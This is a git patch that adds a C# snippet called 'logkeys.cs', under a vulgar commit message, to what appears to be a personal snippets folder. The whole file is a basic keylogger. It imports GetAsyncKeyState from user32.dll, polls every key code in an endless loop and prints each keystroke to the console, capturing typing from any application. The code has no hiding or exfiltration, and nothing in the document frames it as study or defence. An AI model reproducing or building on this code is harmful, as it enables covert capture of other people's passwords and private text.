From 948c5b3b884ad9427fa3ef254d8dc6ef826f82b3 Mon Sep 17 00:00:00 2001 From: adam Date: Sat, 6 May 2023 02:21:22 -0400 Subject: [PATCH] fuck you i'll put an empty commit message if i want to --- csharp snippets/logkeys.cs | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 csharp snippets/logkeys.cs diff --git a/csharp snippets/logkeys.cs b/csharp snippets/logkeys.cs new file mode 100644 index 0000000..82705e4 --- /dev/null +++ b/csharp snippets/logkeys.cs @@ -0,0 +1,21 @@ +[DllImport("user32.dll")] +public static extern int GetAsyncKeyState(Int32 i); + +static void Main(string[] args) +{ + while (true) + { + Thread.Sleep(100); + + for (int i = 0; i < 255; i++) + { + int keyState = GetAsyncKeyState(i); + // 32769 should be used for windows 10. + if (keyState == 1 || keyState == -32767 || keyState == 32769) + { + Console.WriteLine((char)i); + break; + } + } + } +}